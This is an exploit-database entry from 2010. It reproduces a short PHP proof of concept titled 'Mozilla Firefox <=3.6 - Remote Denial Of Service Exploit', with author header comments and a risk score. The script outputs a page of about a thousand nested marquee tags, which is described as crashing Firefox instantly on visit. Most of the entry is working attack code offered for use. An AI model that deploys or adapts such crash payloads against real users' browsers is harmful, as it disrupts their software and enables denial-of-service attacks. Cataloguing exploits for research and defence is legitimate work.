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Mozilla Firefox 3.6 - Denial of Service (2)

🗓️ 27 Feb 2010 00:00:00Reported by Ale46Type 
exploitpack
 exploitpack
👁 16 Views

Mozilla Firefox <=3.6 Remote Denial Of Service Exploit. Instant crash when visiting a php page with marquee tags

Code
<?php

/*
*    Title: Mozilla Firefox <=3.6 - Remote Denial Of Service Exploit
*    Date: 25/02/10
*    Author: Ale46 - ale46[at]paranoici[dot]org
*    Software Link: http://www.mozilla-europe.org/en/firefox/
*    Version: 3.6 and 3.5.8 are vulnerable so I think that all versions <= 3.6 have the same issue
*    Tested on: Windows 7 x32\x64 - Ubuntu 9.10 x32
*    Description: visiting this php page you'll get an instant crash of Firefox
*    Greetz: Gandalf
*    Extra Greetz: University of Palermo and its fantastics rules for the Computer Engineering degree (how beautiful 's irony)
*/

$a = '<marquee>';
$b = '</marquee>';

for ($i=0;$i<=1000;$i++){
    $a .= '<marquee>';
    $b .= '</marquee>';
}

echo '<body>';
echo $a;
echo "hadouken!";
echo $b;
echo '</body>';

?>

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27 Feb 2010 00:00Current
7.3High risk
Vulners AI Score7.3
16